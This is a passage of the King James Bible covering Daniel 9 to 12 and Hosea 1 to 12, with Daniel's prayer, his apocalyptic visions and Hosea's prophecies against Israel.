obeyed the voice of +the LORD our God, to walk in his laws, which he set before us by his +servants the prophets. + +9:11 Yea, all Israel have transgressed thy law, even by departing, +that they might not obey thy voice; therefore the curse is poured upon +us, and the oath that is written in the law of Moses the servant of +God, because we have sinned against him. + +9:12 And he hath confirmed his words, which he spake against us, and +against our judges that judged us, by bringing upon us a great evil: +for under the whole heaven hath not been done as hath been done upon +Jerusalem. + +9:13 As it is written in the law of Moses, all this evil is come upon +us: yet made we not our prayer before the LORD our God, that we might +turn from our iniquities, and understand thy truth. + +9:14 Therefore hath the LORD watched upon the evil, and brought it +upon us: for the LORD our God is righteous in all his works which he +doeth: for we obeyed not his voice. + +9:15 And now, O Lord our God, that hast brought thy people forth out +of the land of Egypt with a mighty hand, and hast gotten thee renown, +as at this day; we have sinned, we have done wickedly. + +9:16 O LORD, according to all thy righteousness, I beseech thee, let +thine anger and thy fury be turned away from thy city Jerusalem, thy +holy mountain: because for our sins, and for the iniquities of our +fathers, Jerusalem and thy people are become a reproach to all that +are about us. + +9:17 Now therefore, O our God, hear the prayer of thy servant, and his +supplications, and cause thy face to shine upon thy sanctuary that is +desolate, for the Lord's sake. + +9:18 O my God, incline thine ear, and hear; open thine eyes, and +behold our desolations, and the city which is called by thy name: for +we do not present our supplications before thee for our +righteousnesses, but for thy great mercies. + +9:19 O Lord, hear; O Lord, forgive; O Lord, hearken and do; defer not, +for thine own sake, O my God: for thy city and thy people are called +by thy name. + +9:20 And whiles I was speaking, and praying, and confessing my sin and +the sin of my people Israel, and presenting my supplication before the +LORD my God for the holy mountain of my God; 9:21 Yea, whiles I was +speaking in prayer, even the man Gabriel, whom I had seen in the +vision at the beginning, being caused to fly swiftly, touched me about +the time of the evening oblation. + +9:22 And he informed me, and talked with me, and said, O Daniel, I am +now come forth to give thee skill and understanding. + +9:23 At the beginning of thy supplications the commandment came forth, +and I am come to shew thee; for thou art greatly beloved: therefore +understand the matter, and consider the vision. + +9:24 Seventy weeks are determined upon thy people and upon thy holy +city, to finish the transgression, and to make an end of sins, and to +make reconciliation for iniquity, and to bring in everlasting +righteousness, and to seal up the vision and prophecy, and to anoint +the most Holy. + +9:25 Know therefore and understand, that from the going forth of the +commandment to restore and to build Jerusalem unto the Messiah the +Prince shall be seven weeks, and threescore and two weeks: the street +shall be built again, and the wall, even in troublous times. + +9:26 And after threescore and two weeks shall Messiah be cut off, but +not for himself: and the people of the prince that shall come shall +destroy the city and the sanctuary; and the end thereof shall be with +a flood, and unto the end of the war desolations are determined. + +9:27 And he shall confirm the covenant with many for one week: and in +the midst of the week he shall cause the sacrifice and the oblation to +cease, and for the overspreading of abominations he shall make it +desolate, even until the consummation, and that determined shall be +poured upon the desolate. + +10:1 In the third year of Cyrus king of Persia a thing was revealed +unto Daniel, whose name was called Belteshazzar; and the thing was +true, but the time appointed was long: and he understood the thing, +and had understanding of the vision. + +10:2 In those days I Daniel was mourning three full weeks. + +10:3 I ate no pleasant bread, neither came flesh nor wine in my mouth, +neither did I anoint myself at all, till three whole weeks were +fulfilled. + +10:4 And in the four and twentieth day of the first month, as I was by +the side of the great river, which is Hiddekel; 10:5 Then I lifted up +mine eyes, and looked, and behold a certain man clothed in linen, +whose loins were girded with fine gold of Uphaz: 10:6 His body also +was like the beryl, and his face as the appearance of lightning, and +his eyes as lamps of fire, and his arms and his feet like in colour to +polished brass, and the voice of his words like the voice of a +multitude. + +10:7 And I Daniel alone saw the vision: for the men that were with me +saw not the vision; but a great quaking fell upon them, so that they +fled to hide themselves. + +10:8 Therefore I was left alone, and saw this great vision, and there +remained no strength in me: for my comeliness was turned in me into +corruption, and I retained no strength. + +10:9 Yet heard I the voice of his words: and when I heard the voice of +his words, then was I in a deep sleep on my face, and my face toward +the ground. + +10:10 And, behold, an hand touched me, which set me upon my knees and +upon the palms of my hands. + +10:11 And he said unto me, O Daniel, a man greatly beloved, understand +the words that I speak unto thee, and stand upright: for unto thee am +I now sent. + +And when he had spoken this word unto me, I stood trembling. + +10:12 Then said he unto me, Fear not, Daniel: for from the first day +that thou didst set thine heart to understand, and to chasten thyself +before thy God, thy words were heard, and I am come for thy words. + +10:13 But the prince of the kingdom of Persia withstood me one and +twenty days: but, lo, Michael, one of the chief princes, came to help +me; and I remained there with the kings of Persia. + +10:14 Now I am come to make thee understand what shall befall thy +people in the latter days: for yet the vision is for many days. + +10:15 And when he had spoken such words unto me, I set my face toward +the ground, and I became dumb. + +10:16 And, behold, one like the similitude of the sons of men touched +my lips: then I opened my mouth, and spake, and said unto him that +stood before me, O my lord, by the vision my sorrows are turned upon +me, and I have retained no strength. + +10:17 For how can the servant of this my lord talk with this my lord? +for as for me, straightway there remained no strength in me, neither +is there breath left in me. + +10:18 Then there came again and touched me one like the appearance of +a man, and he strengthened me, 10:19 And said, O man greatly beloved, +fear not: peace be unto thee, be strong, yea, be strong. And when he +had spoken unto me, I was strengthened, and said, Let my lord speak; +for thou hast strengthened me. + +10:20 Then said he, Knowest thou wherefore I come unto thee? and now +will I return to fight with the prince of Persia: and when I am gone +forth, lo, the prince of Grecia shall come. + +10:21 But I will shew thee that which is noted in the scripture of +truth: and there is none that holdeth with me in these things, but +Michael your prince. + +11:1 Also I in the first year of Darius the Mede, even I, stood to +confirm and to strengthen him. + +11:2 And now will I shew thee the truth. Behold, there shall stand up +yet three kings in Persia; and the fourth shall be far richer than +they all: and by his strength through his riches he shall stir up all +against the realm of Grecia. + +11:3 And a mighty king shall stand up, that shall rule with great +dominion, and do according to his will. + +11:4 And when he shall stand up, his kingdom shall be broken, and +shall be divided toward the four winds of heaven; and not to his +posterity, nor according to his dominion which he ruled: for his +kingdom shall be plucked up, even for others beside those. + +11:5 And the king of the south shall be strong, and one of his +princes; and he shall be strong above him, and have dominion; his +dominion shall be a great dominion. + +11:6 And in the end of years they shall join themselves together; for +the king's daughter of the south shall come to the king of the north +to make an agreement: but she shall not retain the power of the arm; +neither shall he stand, nor his arm: but she shall be given up, and +they that brought her, and he that begat her, and he that strengthened +her in these times. + +11:7 But out of a branch of her roots shall one stand up in his +estate, which shall come with an army, and shall enter into the +fortress of the king of the north, and shall deal against them, and +shall prevail: 11:8 And shall also carry captives into Egypt their +gods, with their princes, and with their precious vessels of silver +and of gold; and he shall continue more years than the king of the +north. + +11:9 So the king of the south shall come into his kingdom, and shall +return into his own land. + +11:10 But his sons shall be stirred up, and shall assemble a multitude +of great forces: and one shall certainly come, and overflow, and pass +through: then shall he return, and be stirred up, even to his +fortress. + +11:11 And the king of the south shall be moved with choler, and shall +come forth and fight with him, even with the king of the north: and he +shall set forth a great multitude; but the multitude shall be given +into his hand. + +11:12 And when he hath taken away the multitude, his heart shall be +lifted up; and he shall cast down many ten thousands: but he shall not +be strengthened by it. + +11:13 For the king of the north shall return, and shall set forth a +multitude greater than the former, and shall certainly come after +certain years with a great army and with much riches. + +11:14 And in those times there shall many stand up against the king of +the south: also the robbers of thy people shall exalt themselves to +establish the vision; but they shall fall. + +11:15 So the king of the north shall come, and cast up a mount, and +take the most fenced cities: and the arms of the south shall not +withstand, neither his chosen people, neither shall there be any +strength to withstand. + +11:16 But he that cometh against him shall do according to his own +will, and none shall stand before him: and he shall stand in the +glorious land, which by his hand shall be consumed. + +11:17 He shall also set his face to enter with the strength of his +whole kingdom, and upright ones with him; thus shall he do: and he +shall give him the daughter of women, corrupting her: but she shall +not stand on his side, neither be for him. + +11:18 After this shall he turn his face unto the isles, and shall take +many: but a prince for his own behalf shall cause the reproach offered +by him to cease; without his own reproach he shall cause it to turn +upon him. + +11:19 Then he shall turn his face toward the fort of his own land: but +he shall stumble and fall, and not be found. + +11:20 Then shall stand up in his estate a raiser of taxes in the glory +of the kingdom: but within few days he shall be destroyed, neither in +anger, nor in battle. + +11:21 And in his estate shall stand up a vile person, to whom they +shall not give the honour of the kingdom: but he shall come in +peaceably, and obtain the kingdom by flatteries. + +11:22 And with the arms of a flood shall they be overflown from before +him, and shall be broken; yea, also the prince of the covenant. + +11:23 And after the league made with him he shall work deceitfully: +for he shall come up, and shall become strong with a small people. + +11:24 He shall enter peaceably even upon the fattest places of the +province; and he shall do that which his fathers have not done, nor +his fathers' fathers; he shall scatter among them the prey, and spoil, +and riches: yea, and he shall forecast his devices against the strong +holds, even for a time. + +11:25 And he shall stir up his power and his courage against the king +of the south with a great army; and the king of the south shall be +stirred up to battle with a very great and mighty army; but he shall +not stand: for they shall forecast devices against him. + +11:26 Yea, they that feed of the portion of his meat shall destroy +him, and his army shall overflow: and many shall fall down slain. + +11:27 And both of these kings' hearts shall be to do mischief, and +they shall speak lies at one table; but it shall not prosper: for yet +the end shall be at the time appointed. + +11:28 Then shall he return into his land with great riches; and his +heart shall be against the holy covenant; and he shall do exploits, +and return to his own land. + +11:29 At the time appointed he shall return, and come toward the +south; but it shall not be as the former, or as the latter. + +11:30 For the ships of Chittim shall come against him: therefore he +shall be grieved, and return, and have indignation against the holy +covenant: so shall he do; he shall even return, and have intelligence +with them that forsake the holy covenant. + +11:31 And arms shall stand on his part, and they shall pollute the +sanctuary of strength, and shall take away the daily sacrifice, and +they shall place the abomination that maketh desolate. + +11:32 And such as do wickedly against the covenant shall he corrupt by +flatteries: but the people that do know their God shall be strong, and +do exploits. + +11:33 And they that understand among the people shall instruct many: +yet they shall fall by the sword, and by flame, by captivity, and by +spoil, many days. + +11:34 Now when they shall fall, they shall be holpen with a little +help: but many shall cleave to them with flatteries. + +11:35 And some of them of understanding shall fall, to try them, and +to purge, and to make them white, even to the time of the end: because +it is yet for a time appointed. + +11:36 And the king shall do according to his will; and he shall exalt +himself, and magnify himself above every god, and shall speak +marvellous things against the God of gods, and shall prosper till the +indignation be accomplished: for that that is determined shall be +done. + +11:37 Neither shall he regard the God of his fathers, nor the desire +of women, nor regard any god: for he shall magnify himself above all. + +11:38 But in his estate shall he honour the God of forces: and a god +whom his fathers knew not shall he honour with gold, and silver, and +with precious stones, and pleasant things. + +11:39 Thus shall he do in the most strong holds with a strange god, +whom he shall acknowledge and increase with glory: and he shall cause +them to rule over many, and shall divide the land for gain. + +11:40 And at the time of the end shall the king of the south push at +him: and the king of the north shall come against him like a +whirlwind, with chariots, and with horsemen, and with many ships; and +he shall enter into the countries, and shall overflow and pass over. + +11:41 He shall enter also into the glorious land, and many countries +shall be overthrown: but these shall escape out of his hand, even +Edom, and Moab, and the chief of the children of Ammon. + +11:42 He shall stretch forth his hand also upon the countries: and the +land of Egypt shall not escape. + +11:43 But he shall have power over the treasures of gold and of +silver, and over all the precious things of Egypt: and the Libyans and +the Ethiopians shall be at his steps. + +11:44 But tidings out of the east and out of the north shall trouble +him: therefore he shall go forth with great fury to destroy, and +utterly to make away many. + +11:45 And he shall plant the tabernacles of his palace between the +seas in the glorious holy mountain; yet he shall come to his end, and +none shall help him. + +12:1 And at that time shall Michael stand up, the great prince which +standeth for the children of thy people: and there shall be a time of +trouble, such as never was since there was a nation even to that same +time: and at that time thy people shall be delivered, every one that +shall be found written in the book. + +12:2 And many of them that sleep in the dust of the earth shall awake, +some to everlasting life, and some to shame and everlasting contempt. + +12:3 And they that be wise shall shine as the brightness of the +firmament; and they that turn many to righteousness as the stars for +ever and ever. + +12:4 But thou, O Daniel, shut up the words, and seal the book, even to +the time of the end: many shall run to and fro, and knowledge shall be +increased. + +12:5 Then I Daniel looked, and, behold, there stood other two, the one +on this side of the bank of the river, and the other on that side of +the bank of the river. + +12:6 And one said to the man clothed in linen, which was upon the +waters of the river, How long shall it be to the end of these wonders? +12:7 And I heard the man clothed in linen, which was upon the waters +of the river, when he held up his right hand and his left hand unto +heaven, and sware by him that liveth for ever that it shall be for a +time, times, and an half; and when he shall have accomplished to +scatter the power of the holy people, all these things shall be +finished. + +12:8 And I heard, but I understood not: then said I, O my Lord, what +shall be the end of these things? 12:9 And he said, Go thy way, +Daniel: for the words are closed up and sealed till the time of the +end. + +12:10 Many shall be purified, and made white, and tried; but the +wicked shall do wickedly: and none of the wicked shall understand; but +the wise shall understand. + +12:11 And from the time that the daily sacrifice shall be taken away, +and the abomination that maketh desolate set up, there shall be a +thousand two hundred and ninety days. + +12:12 Blessed is he that waiteth, and cometh to the thousand three +hundred and five and thirty days. + +12:13 But go thou thy way till the end be: for thou shalt rest, +and stand in thy lot at the end of the days. + + + + +Hosea + + +1:1 The word of the LORD that came unto Hosea, the son of Beeri, in +the days of Uzziah, Jotham, Ahaz, and Hezekiah, kings of Judah, and in +the days of Jeroboam the son of Joash, king of Israel. + +1:2 The beginning of the word of the LORD by Hosea. And the LORD said +to Hosea, Go, take unto thee a wife of whoredoms and children of +whoredoms: for the land hath committed great whoredom, departing from +the LORD. + +1:3 So he went and took Gomer the daughter of Diblaim; which +conceived, and bare him a son. + +1:4 And the LORD said unto him, Call his name Jezreel; for yet a +little while, and I will avenge the blood of Jezreel upon the house of +Jehu, and will cause to cease the kingdom of the house of Israel. + +1:5 And it shall come to pass at that day, that I will break the bow +of Israel, in the valley of Jezreel. + +1:6 And she conceived again, and bare a daughter. And God said unto +him, Call her name Loruhamah: for I will no more have mercy upon the +house of Israel; but I will utterly take them away. + +1:7 But I will have mercy upon the house of Judah, and will save them +by the LORD their God, and will not save them by bow, nor by sword, +nor by battle, by horses, nor by horsemen. + +1:8 Now when she had weaned Loruhamah, she conceived, and bare a son. + +1:9 Then said God, Call his name Loammi: for ye are not my people, and +I will not be your God. + +1:10 Yet the number of the children of Israel shall be as the sand of +the sea, which cannot be measured nor numbered; and it shall come to +pass, that in the place where it was said unto them, Ye are not my +people, there it shall be said unto them, Ye are the sons of the +living God. + +1:11 Then shall the children of Judah and the children of Israel be +gathered together, and appoint themselves one head, and they shall +come up out of the land: for great shall be the day of Jezreel. + +2:1 Say ye unto your brethren, Ammi; and to your sisters, Ruhamah. + +2:2 Plead with your mother, plead: for she is not my wife, neither am +I her husband: let her therefore put away her whoredoms out of her +sight, and her adulteries from between her breasts; 2:3 Lest I strip +her naked, and set her as in the day that she was born, and make her +as a wilderness, and set her like a dry land, and slay her with +thirst. + +2:4 And I will not have mercy upon her children; for they be the +children of whoredoms. + +2:5 For their mother hath played the harlot: she that conceived them +hath done shamefully: for she said, I will go after my lovers, that +give me my bread and my water, my wool and my flax, mine oil and my +drink. + +2:6 Therefore, behold, I will hedge up thy way with thorns, and make a +wall, that she shall not find her paths. + +2:7 And she shall follow after her lovers, but she shall not overtake +them; and she shall seek them, but shall not find them: then shall she +say, I will go and return to my first husband; for then was it better +with me than now. + +2:8 For she did not know that I gave her corn, and wine, and oil, and +multiplied her silver and gold, which they prepared for Baal. + +2:9 Therefore will I return, and take away my corn in the time +thereof, and my wine in the season thereof, and will recover my wool +and my flax given to cover her nakedness. + +2:10 And now will I discover her lewdness in the sight of her lovers, +and none shall deliver her out of mine hand. + +2:11 I will also cause all her mirth to cease, her feast days, her new +moons, and her sabbaths, and all her solemn feasts. + +2:12 And I will destroy her vines and her fig trees, whereof she hath +said, These are my rewards that my lovers have given me: and I will +make them a forest, and the beasts of the field shall eat them. + +2:13 And I will visit upon her the days of Baalim, wherein she burned +incense to them, and she decked herself with her earrings and her +jewels, and she went after her lovers, and forgat me, saith the LORD. + +2:14 Therefore, behold, I will allure her, and bring her into the +wilderness, and speak comfortably unto her. + +2:15 And I will give her her vineyards from thence, and the valley of +Achor for a door of hope: and she shall sing there, as in the days of +her youth, and as in the day when she came up out of the land of +Egypt. + +2:16 And it shall be at that day, saith the LORD, that thou shalt call +me Ishi; and shalt call me no more Baali. + +2:17 For I will take away the names of Baalim out of her mouth, and +they shall no more be remembered by their name. + +2:18 And in that day will I make a covenant for them with the beasts +of the field and with the fowls of heaven, and with the creeping +things of the ground: and I will break the bow and the sword and the +battle out of the earth, and will make them to lie down safely. + +2:19 And I will betroth thee unto me for ever; yea, I will betroth +thee unto me in righteousness, and in judgment, and in lovingkindness, +and in mercies. + +2:20 I will even betroth thee unto me in faithfulness: and thou shalt +know the LORD. + +2:21 And it shall come to pass in that day, I will hear, saith the +LORD, I will hear the heavens, and they shall hear the earth; 2:22 And +the earth shall hear the corn, and the wine, and the oil; and they +shall hear Jezreel. + +2:23 And I will sow her unto me in the earth; and I will have mercy +upon her that had not obtained mercy; and I will say to them which +were not my people, Thou art my people; and they shall say, Thou art +my God. + +3:1 Then said the LORD unto me, Go yet, love a woman beloved of her +friend, yet an adulteress, according to the love of the LORD toward +the children of Israel, who look to other gods, and love flagons of +wine. + +3:2 So I bought her to me for fifteen pieces of silver, and for an +homer of barley, and an half homer of barley: 3:3 And I said unto her, +Thou shalt abide for me many days; thou shalt not play the harlot, and +thou shalt not be for another man: so will I also be for thee. + +3:4 For the children of Israel shall abide many days without a king, +and without a prince, and without a sacrifice, and without an image, +and without an ephod, and without teraphim: 3:5 Afterward shall the +children of Israel return, and seek the LORD their God, and David +their king; and shall fear the LORD and his goodness in the latter +days. + +4:1 Hear the word of the LORD, ye children of Israel: for the LORD +hath a controversy with the inhabitants of the land, because there is +no truth, nor mercy, nor knowledge of God in the land. + +4:2 By swearing, and lying, and killing, and stealing, and committing +adultery, they break out, and blood toucheth blood. + +4:3 Therefore shall the land mourn, and every one that dwelleth +therein shall languish, with the beasts of the field, and with the +fowls of heaven; yea, the fishes of the sea also shall be taken away. + +4:4 Yet let no man strive, nor reprove another: for thy people are as +they that strive with the priest. + +4:5 Therefore shalt thou fall in the day, and the prophet also shall +fall with thee in the night, and I will destroy thy mother. + +4:6 My people are destroyed for lack of knowledge: because thou hast +rejected knowledge, I will also reject thee, that thou shalt be no +priest to me: seeing thou hast forgotten the law of thy God, I will +also forget thy children. + +4:7 As they were increased, so they sinned against me: therefore will +I change their glory into shame. + +4:8 They eat up the sin of my people, and they set their heart on +their iniquity. + +4:9 And there shall be, like people, like priest: and I will punish +them for their ways, and reward them their doings. + +4:10 For they shall eat, and not have enough: they shall commit +whoredom, and shall not increase: because they have left off to take +heed to the LORD. + +4:11 Whoredom and wine and new wine take away the heart. + +4:12 My people ask counsel at their stocks, and their staff declareth +unto them: for the spirit of whoredoms hath caused them to err, and +they have gone a whoring from under their God. + +4:13 They sacrifice upon the tops of the mountains, and burn incense +upon the hills, under oaks and poplars and elms, because the shadow +thereof is good: therefore your daughters shall commit whoredom, and +your spouses shall commit adultery. + +4:14 I will not punish your daughters when they commit whoredom, nor +your spouses when they commit adultery: for themselves are separated +with whores, and they sacrifice with harlots: therefore the people +that doth not understand shall fall. + +4:15 Though thou, Israel, play the harlot, yet let not Judah offend; +and come not ye unto Gilgal, neither go ye up to Bethaven, nor swear, +The LORD liveth. + +4:16 For Israel slideth back as a backsliding heifer: now the LORD +will feed them as a lamb in a large place. + +4:17 Ephraim is joined to idols: let him alone. + +4:18 Their drink is sour: they have committed whoredom continually: +her rulers with shame do love, Give ye. + +4:19 The wind hath bound her up in her wings, and they shall be +ashamed because of their sacrifices. + +5:1 Hear ye this, O priests; and hearken, ye house of Israel; and give +ye ear, O house of the king; for judgment is toward you, because ye +have been a snare on Mizpah, and a net spread upon Tabor. + +5:2 And the revolters are profound to make slaughter, though I have +been a rebuker of them all. + +5:3 I know Ephraim, and Israel is not hid from me: for now, O Ephraim, +thou committest whoredom, and Israel is defiled. + +5:4 They will not frame their doings to turn unto their God: for the +spirit of whoredoms is in the midst of them, and they have not known +the LORD. + +5:5 And the pride of Israel doth testify to his face: therefore shall +Israel and Ephraim fall in their iniquity: Judah also shall fall with +them. + +5:6 They shall go with their flocks and with their herds to seek the +LORD; but they shall not find him; he hath withdrawn himself from +them. + +5:7 They have dealt treacherously against the LORD: for they have +begotten strange children: now shall a month devour them with their +portions. + +5:8 Blow ye the cornet in Gibeah, and the trumpet in Ramah: cry aloud +at Bethaven, after thee, O Benjamin. + +5:9 Ephraim shall be desolate in the day of rebuke: among the tribes +of Israel have I made known that which shall surely be. + +5:10 The princes of Judah were like them that remove the bound: +therefore I will pour out my wrath upon them like water. + +5:11 Ephraim is oppressed and broken in judgment, because he willingly +walked after the commandment. + +5:12 Therefore will I be unto Ephraim as a moth, and to the house of +Judah as rottenness. + +5:13 When Ephraim saw his sickness, and Judah saw his wound, then went +Ephraim to the Assyrian, and sent to king Jareb: yet could he not heal +you, nor cure you of your wound. + +5:14 For I will be unto Ephraim as a lion, and as a young lion to the +house of Judah: I, even I, will tear and go away; I will take away, +and none shall rescue him. + +5:15 I will go and return to my place, till they acknowledge their +offence, and seek my face: in their affliction they will seek me +early. + +6:1 Come, and let us return unto the LORD: for he hath torn, and he +will heal us; he hath smitten, and he will bind us up. + +6:2 After two days will he revive us: in the third day he will raise +us up, and we shall live in his sight. + +6:3 Then shall we know, if we follow on to know the LORD: his going +forth is prepared as the morning; and he shall come unto us as the +rain, as the latter and former rain unto the earth. + +6:4 O Ephraim, what shall I do unto thee? O Judah, what shall I do +unto thee? for your goodness is as a morning cloud, and as the early +dew it goeth away. + +6:5 Therefore have I hewed them by the prophets; I have slain them by +the words of my mouth: and thy judgments are as the light that goeth +forth. + +6:6 For I desired mercy, and not sacrifice; and the knowledge of God +more than burnt offerings. + +6:7 But they like men have transgressed the covenant: there have they +dealt treacherously against me. + +6:8 Gilead is a city of them that work iniquity, and is polluted with +blood. + +6:9 And as troops of robbers wait for a man, so the company of priests +murder in the way by consent: for they commit lewdness. + +6:10 I have seen an horrible thing in the house of Israel: there is +the whoredom of Ephraim, Israel is defiled. + +6:11 Also, O Judah, he hath set an harvest for thee, when I returned +the captivity of my people. + +7:1 When I would have healed Israel, then the iniquity of Ephraim was +discovered, and the wickedness of Samaria: for they commit falsehood; +and the thief cometh in, and the troop of robbers spoileth without. + +7:2 And they consider not in their hearts that I remember all their +wickedness: now their own doings have beset them about; they are +before my face. + +7:3 They make the king glad with their wickedness, and the princes +with their lies. + +7:4 They are all adulterers, as an oven heated by the baker, who +ceaseth from raising after he hath kneaded the dough, until it be +leavened. + +7:5 In the day of our king the princes have made him sick with bottles +of wine; he stretched out his hand with scorners. + +7:6 For they have made ready their heart like an oven, whiles they lie +in wait: their baker sleepeth all the night; in the morning it burneth +as a flaming fire. + +7:7 They are all hot as an oven, and have devoured their judges; all +their kings are fallen: there is none among them that calleth unto me. + +7:8 Ephraim, he hath mixed himself among the people; Ephraim is a cake +not turned. + +7:9 Strangers have devoured his strength, and he knoweth it not: yea, +gray hairs are here and there upon him, yet he knoweth not. + +7:10 And the pride of Israel testifieth to his face: and they do not +return to the LORD their God, nor seek him for all this. + +7:11 Ephraim also is like a silly dove without heart: they call to +Egypt, they go to Assyria. + +7:12 When they shall go, I will spread my net upon them; I will bring +them down as the fowls of the heaven; I will chastise them, as their +congregation hath heard. + +7:13 Woe unto them! for they have fled from me: destruction unto them! +because they have transgressed against me: though I have redeemed +them, yet they have spoken lies against me. + +7:14 And they have not cried unto me with their heart, when they +howled upon their beds: they assemble themselves for corn and wine, +and they rebel against me. + +7:15 Though I have bound and strengthened their arms, yet do they +imagine mischief against me. + +7:16 They return, but not to the most High: they are like a deceitful +bow: their princes shall fall by the sword for the rage of their +tongue: this shall be their derision in the land of Egypt. + +8:1 Set the trumpet to thy mouth. He shall come as an eagle against +the house of the LORD, because they have transgressed my covenant, and +trespassed against my law. + +8:2 Israel shall cry unto me, My God, we know thee. + +8:3 Israel hath cast off the thing that is good: the enemy shall +pursue him. + +8:4 They have set up kings, but not by me: they have made princes, and +I knew it not: of their silver and their gold have they made them +idols, that they may be cut off. + +8:5 Thy calf, O Samaria, hath cast thee off; mine anger is kindled +against them: how long will it be ere they attain to innocency? 8:6 +For from Israel was it also: the workman made it; therefore it is not +God: but the calf of Samaria shall be broken in pieces. + +8:7 For they have sown the wind, and they shall reap the whirlwind: it +hath no stalk; the bud shall yield no meal: if so be it yield, the +strangers shall swallow it up. + +8:8 Israel is swallowed up: now shall they be among the Gentiles as a +vessel wherein is no pleasure. + +8:9 For they are gone up to Assyria, a wild ass alone by himself: +Ephraim hath hired lovers. + +8:10 Yea, though they have hired among the nations, now will I gather +them, and they shall sorrow a little for the burden of the king of +princes. + +8:11 Because Ephraim hath made many altars to sin, altars shall be +unto him to sin. + +8:12 I have written to him the great things of my law, but they were +counted as a strange thing. + +8:13 They sacrifice flesh for the sacrifices of mine offerings, and +eat it; but the LORD accepteth them not; now will he remember their +iniquity, and visit their sins: they shall return to Egypt. + +8:14 For Israel hath forgotten his Maker, and buildeth temples; and +Judah hath multiplied fenced cities: but I will send a fire upon his +cities, and it shall devour the palaces thereof. + +9:1 Rejoice not, O Israel, for joy, as other people: for thou hast +gone a whoring from thy God, thou hast loved a reward upon every +cornfloor. + +9:2 The floor and the winepress shall not feed them, and the new wine +shall fail in her. + +9:3 They shall not dwell in the LORD's land; but Ephraim shall return +to Egypt, and they shall eat unclean things in Assyria. + +9:4 They shall not offer wine offerings to the LORD, neither shall +they be pleasing unto him: their sacrifices shall be unto them as the +bread of mourners; all that eat thereof shall be polluted: for their +bread for their soul shall not come into the house of the LORD. + +9:5 What will ye do in the solemn day, and in the day of the feast of +the LORD? 9:6 For, lo, they are gone because of destruction: Egypt +shall gather them up, Memphis shall bury them: the pleasant places for +their silver, nettles shall possess them: thorns shall be in their +tabernacles. + +9:7 The days of visitation are come, the days of recompence are come; +Israel shall know it: the prophet is a fool, the spiritual man is mad, +for the multitude of thine iniquity, and the great hatred. + +9:8 The watchman of Ephraim was with my God: but the prophet is a +snare of a fowler in all his ways, and hatred in the house of his God. + +9:9 They have deeply corrupted themselves, as in the days of Gibeah: +therefore he will remember their iniquity, he will visit their sins. + +9:10 I found Israel like grapes in the wilderness; I saw your fathers +as the firstripe in the fig tree at her first time: but they went to +Baalpeor, and separated themselves unto that shame; and their +abominations were according as they loved. + +9:11 As for Ephraim, their glory shall fly away like a bird, from the +birth, and from the womb, and from the conception. + +9:12 Though they bring up their children, yet will I bereave them, +that there shall not be a man left: yea, woe also to them when I +depart from them! 9:13 Ephraim, as I saw Tyrus, is planted in a +pleasant place: but Ephraim shall bring forth his children to the +murderer. + +9:14 Give them, O LORD: what wilt thou give? give them a miscarrying +womb and dry breasts. + +9:15 All their wickedness is in Gilgal: for there I hated them: for +the wickedness of their doings I will drive them out of mine house, I +will love them no more: all their princes are revolters. + +9:16 Ephraim is smitten, their root is dried up, they shall bear no +fruit: yea, though they bring forth, yet will I slay even the beloved +fruit of their womb. + +9:17 My God will cast them away, because they did not hearken unto +him: and they shall be wanderers among the nations. + +10:1 Israel is an empty vine, he bringeth forth fruit unto himself: +according to the multitude of his fruit he hath increased the altars; +according to the goodness of his land they have made goodly images. + +10:2 Their heart is divided; now shall they be found faulty: he shall +break down their altars, he shall spoil their images. + +10:3 For now they shall say, We have no king, because we feared not +the LORD; what then should a king do to us? 10:4 They have spoken +words, swearing falsely in making a covenant: thus judgment springeth +up as hemlock in the furrows of the field. + +10:5 The inhabitants of Samaria shall fear because of the calves of +Bethaven: for the people thereof shall mourn over it, and the priests +thereof that rejoiced on it, for the glory thereof, because it is +departed from it. + +10:6 It shall be also carried unto Assyria for a present to king +Jareb: Ephraim shall receive shame, and Israel shall be ashamed of his +own counsel. + +10:7 As for Samaria, her king is cut off as the foam upon the water. + +10:8 The high places also of Aven, the sin of Israel, shall be +destroyed: the thorn and the thistle shall come up on their altars; +and they shall say to the mountains, Cover us; and to the hills, Fall +on us. + +10:9 O Israel, thou hast sinned from the days of Gibeah: there they +stood: the battle in Gibeah against the children of iniquity did not +overtake them. + +10:10 It is in my desire that I should chastise them; and the people +shall be gathered against them, when they shall bind themselves in +their two furrows. + +10:11 And Ephraim is as an heifer that is taught, and loveth to tread +out the corn; but I passed over upon her fair neck: I will make +Ephraim to ride; Judah shall plow, and Jacob shall break his clods. + +10:12 Sow to yourselves in righteousness, reap in mercy; break up your +fallow ground: for it is time to seek the LORD, till he come and rain +righteousness upon you. + +10:13 Ye have plowed wickedness, ye have reaped iniquity; ye have +eaten the fruit of lies: because thou didst trust in thy way, in the +multitude of thy mighty men. + +10:14 Therefore shall a tumult arise among thy people, and all thy +fortresses shall be spoiled, as Shalman spoiled Betharbel in the day +of battle: the mother was dashed in pieces upon her children. + +10:15 So shall Bethel do unto you because of your great wickedness: in +a morning shall the king of Israel utterly be cut off. + +11:1 When Israel was a child, then I loved him, and called my son out +of Egypt. + +11:2 As they called them, so they went from them: they sacrificed unto +Baalim, and burned incense to graven images. + +11:3 I taught Ephraim also to go, taking them by their arms; but they +knew not that I healed them. + +11:4 I drew them with cords of a man, with bands of love: and I was to +them as they that take off the yoke on their jaws, and I laid meat +unto them. + +11:5 He shall not return into the land of Egypt, and the Assyrian +shall be his king, because they refused to return. + +11:6 And the sword shall abide on his cities, and shall consume his +branches, and devour them, because of their own counsels. + +11:7 And my people are bent to backsliding from me: though they called +them to the most High, none at all would exalt him. + +11:8 How shall I give thee up, Ephraim? how shall I deliver thee, +Israel? how shall I make thee as Admah? how shall I set thee as +Zeboim? mine heart is turned within me, my repentings are kindled +together. + +11:9 I will not execute the fierceness of mine anger, I will not +return to destroy Ephraim: for I am God, and not man; the Holy One in +the midst of thee: and I will not enter into the city. + +11:10 They shall walk after the LORD: he shall roar like a lion: when +he shall roar, then the children shall tremble from the west. + +11:11 They shall tremble as a bird out of Egypt, and as a dove out of +the land of Assyria: and I will place them in their houses, saith the +LORD. + +11:12 Ephraim compasseth me about with lies, and the house of Israel +with deceit: but Judah yet ruleth with God, and is faithful with the +saints. + +12:1 Ephraim feedeth on wind, and followeth after the east wind: he +daily increaseth lies and desolation; and they do make a covenant with +the Assyrians, and oil is carried into Egypt. + +12:2 The LORD hath also a controversy with Judah, and will punish +Jacob according to his ways; according to his doings will he +recompense him. + +12:3 He took his brother by the heel in the womb, and by his strength +he had power with God: 12:4 Yea, he had power over the angel, and +prevailed: he wept, and made supplication unto him: he found him in +Bethel, and there he spake with us; 